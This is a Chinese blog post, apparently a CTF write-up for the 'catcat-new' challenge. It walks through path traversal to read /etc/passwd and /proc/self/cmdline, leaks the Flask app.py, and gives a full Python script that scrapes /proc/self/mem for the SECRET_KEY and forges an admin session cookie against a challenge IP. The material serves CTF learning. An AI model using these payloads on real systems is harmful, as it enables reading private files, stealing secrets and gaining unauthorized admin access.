首页 > 其他分享 >catcat-new【目录穿透+特殊文件】

catcat-new【目录穿透+特殊文件】

时间:2023-11-28 21:55:59浏览次数:32  
标签:admin app catcat 穿透 secret session key new self

catcat-new【目录穿透+特殊文件】

题目界面

点击任何一只猫猫,发现路径泄露:

解题步骤

  • 测试目录遍历漏洞

    路径: ?file=../../../../etc/passwd

    成功读取到passwd文件:

  • 获取当前启动进程的完整命令

    路径:?file=../../../proc/self/cmdline ,发现有一个app.py文件

    注:大部分python编写的网站脚本都是名为app.py

  • 获取app.py内容

    尝试app.py文件的路径,刚好在当前目录的上一级中:?file=../app.py

    读取到的内容如下:

    更改为易读的标准格式:

    import os
    import uuid
    from flask import Flask, request, session, render_template, Markup
    from cat import cat
    
    flag = ""
    app = Flask(
        __name__,
        static_url_path='/',
        static_folder='static'
    )
    app.config['SECRET_KEY'] = str(uuid.uuid4()).replace("-", "") + "*abcdefgh"
    if os.path.isfile("/flag"):
        flag = cat("/flag")
        os.remove("/flag")
    
    @app.route('/', methods=['GET'])
    def index():
        detailtxt = os.listdir('./details/')
        cats_list = []
        for i in detailtxt:
            cats_list.append(i[:i.index('.')])
    
        return render_template("index.html", cats_list=cats_list, cat=cat)
    
    @app.route('/info', methods=["GET", 'POST'])
    def info():
        filename = "./details/" + request.args.get('file', "")
        start = request.args.get('start', "0")
        end = request.args.get('end', "0")
        name = request.args.get('file', "")[:request.args.get('file', "").index('.')]
    
        return render_template("detail.html", catname=name, info=cat(filename, start, end))
    
    @app.route('/admin', methods=["GET"])
    def admin_can_list_root():
        if session.get('admin') == 1:
            return flag
        else:
            session['admin'] = 0
            return "NoNoNo"
    
    if __name__ == '__main__':
        app.run(host='0.0.0.0', debug=False, port=5637)
    

    由脚本知,定义了一个用于管理员权限验证的路由 /admin,只有当会话中的 admin 值为 1 时,才返回flag。否则,将 admin 值设置为 0,并返回字符串 "NoNoNo"。由此知,此处需要伪造session。

  • 伪造session并获取flag

    伪造session的必要条件是获取密钥SECRET_KEY。由app.py知secret key在app(flask对象,存储在堆上)的config属性中的’SECRET_KEY‘键上。

    此处需要借助几个进程文件相互配合获取堆上的SECRET KEY:

    • /proc/self/mem:得到进程的内存内容
    • /proc/self/maps:获取当前进程的内存映射关系,通过读该文件的内容可以得到内存代码段基址。

    利用/proc/self/maps的映射信息来确定读的偏移值,通过/proc/self/mem文件读取密钥。

    附上大佬的脚本:

    # coding=utf-8
    # ----------------------------------
    ###################################
    # Edited by [email protected]
    ###################################
    # ----------------------------------
    import requests
    import re
    import ast, sys
    from abc import ABC
    from flask.sessions import SecureCookieSessionInterface
    
    url = "http://61.147.171.105:54072/"
    
    # 此程序只能运行于Python3以上
    if sys.version_info[0] < 3:  # < 3.0
        raise Exception('Must be using at least Python 3')
    
    # ----------------session 伪造,单独用也可以考虑这个库: https://github.com/noraj/flask-session-cookie-manager ----------------
    class MockApp(object):
        def __init__(self, secret_key):
            self.secret_key = secret_key
    
    class FSCM(ABC):
        def encode(secret_key, session_cookie_structure):
            # Encode a Flask session cookie
            try:
                app = MockApp(secret_key)
    						# 使用 ast.literal_eval 将字符串转换为字典
                session_cookie_structure = dict(ast.literal_eval(session_cookie_structure))
                si = SecureCookieSessionInterface()
                s = si.get_signing_serializer(app)
    
                return s.dumps(session_cookie_structure)
            except Exception as e:
                return "[Encoding error] {}".format(e)
                raise e
    
    # -------------------------------------------
    
    # 由/proc/self/maps获取可读写的内存地址,再根据这些地址读取/proc/self/mem来获取secret key
    s_key = ""
    bypass = "../.."
    # 请求file路由进行读取
    map_list = requests.get(url + f"info?file={bypass}/proc/self/maps")
    # 获取到的响应文本通过'split("\\n")'按行分割,得到一个包含每行内容的列表'map_list'
    map_list = map_list.text.split("\\n")
    # 遍历每行的内容
    for i in map_list:
        # 匹配指定格式的地址
        map_addr = re.match(r"([a-z0-9]+)-([a-z0-9]+) rw", i)
        if map_addr:
            start = int(map_addr.group(1), 16)
            end = int(map_addr.group(2), 16)
            print("Found rw addr:", start, "-", end)
    
            # 设置起始和结束位置并读取/proc/self/mem
            res = requests.get(f"{url}/info?file={bypass}/proc/self/mem&start={start}&end={end}")
            # 用到了之前特定的SECRET_KEY格式。如果发现*abcdefgh存在其中,说明成功泄露secretkey
            if "*abcdefgh" in res.text:
                # 正则匹配,本题secret key格式为32个小写字母或数字,再加上*abcdefgh
                secret_key = re.findall("[a-z0-9]{32}\*abcdefgh", res.text)
                if secret_key:
                    print("Secret Key:", secret_key[0])
                    s_key = secret_key[0]
                    break
    
    # 设置session中admin的值为1
    data = '{"admin":1}'
    # 伪造session
    headers = {
        "Cookie": "session=" + FSCM.encode(s_key, data)
    }
    # 请求admin路由
    try:
        flag = requests.get(url + "admin", headers=headers)
        print("Flag is", flag.text)
    except:
        print("Something error")
    

标签:admin,app,catcat,穿透,secret,session,key,new,self
From: https://www.cnblogs.com/yuanyy/p/17863169.html

相关文章

  • margin穿透/传递/合并/折叠 多层 爷孙
    https://codepen.io/rhdom/pen/vYbarpm如这个代码所示<divclass="show"> <div>  <h2>crystal</h2> </div></div> <divdata-v-3151e59a=""class="form-widget-list"> <divdata-v-6f598f02=&......
  • 本地Linux 服务器实现内网穿透,SSH远程连接
     公网SSH远程连接Linux的好处在于可以在任何地方通过互联网连接到Linux服务器,无需在服务器所在的局域网内。这样可以方便地进行远程管理、维护和操作,提高了工作效率和灵活性。同时,公网SSH连接还可以加强服务器的安全性,因为可以通过SSH协议进行加密通信,保护数据的安全性。下面简......
  • What's new in dubbo-go-pixiu v1.0.0
    dubbo原生网关dubbo-go-pixiuv1.0https://github.com/apache/dubbo-go-pixiu/releases/tag/v1.0.0-rc2正式发版了,项目从2019年一路走来,四年磨剑,感谢从铁城、张天到吕梦超三位负责人。目前,dubbo-go-pixiu可作为dubbo/dubbogo服务网关,也可作为dubbo/dubbogo服务的s......
  • Learning Graph Filters for Spectral GNNs via Newton Interpolation
    目录概符号说明MotivationNewtonNet代码XuJ.,DaiE.,LuoD>,ZhangX.andWangS.Learninggraphfiltersforspectralgnnsvianewtoninterpolation.2023.概令谱图网络的多项式系数按照牛顿插值的方式训练.符号说明\(\mathcal{V}=\{v_1,\ldots,v_N\}\),nod......
  • 『接口测试干货』| Newman+Postman接口自动化测试完整过程
    (『接口测试干货』|Newman+Postman接口自动化测试完整过程)1Newman简介Newman是Postman的一个扩展库(NodeJs库);Newman+Postman可完成接口自动化测试工作;Postman导出的JSON格式文件可通过Newman的命令行执行;因为Postman运行后只有概要结果,没有像其他自动化测试框架那么完美漂......
  • 平台工程指南:TheNewStack 发布的免费电子书
    TheNewStack日前发布了免费电子书《PlatformEngineering:WhatYouNeedtoKnowNow》,该电子书由VMwareTanzu赞助,期望为您的平台工程战略奠定基础,助您实现DevOps所承诺的更快的生产力。 通过这本平台工程的新电子书,探索DevOps文化如何导致内部开发者平台的采用率上升......
  • 未能加载文件或程序集“Newtonsoft.Json, Version=4.5.0.0, Culture=neutral, PublicK
    报错内容 解决办法:在Web.config的<configuration></configuration>中添加如下代码即可。<configuration><runtime><assemblyBindingxmlns="urn:schemas-microsoft-com:asm.v1"><dependentAssembly><assembly......
  • c++本质:释放内存、new与delete、容器内是指针
    【释放内存】本质:标识符放弃对该内存的占有权。若该内存是栈内存,当所有标识符都放弃,那么系统自动重获占有权。内存依然存在,地址、值都未改变。若该内存是堆内存,当所有标识符都放弃,不delete,那么系统也无法拥有占有权。所以delete让系统重获占有权。内存依然存在,地址未变、值变为......
  • Redis缓存雪崩、击穿、穿透解释及解决方法,缓存预热,布隆过滤器 ,互斥锁
    Redis缓存雪崩、击穿、穿透解释及解决方法,缓存预热,布隆过滤器,互斥锁......
  • new & delete
    new与delete分别相当于C中的malloc()和free()在new对象时,其不仅要分配空间,还要调用其构造函数new 的调用顺序为:分配空间->析构delete的调用顺序为:析构->回收空间其中,delete有两种写法:deletep;delete[]p;new的时候有[],则delete时也应该有[],若未使用delete[],则只......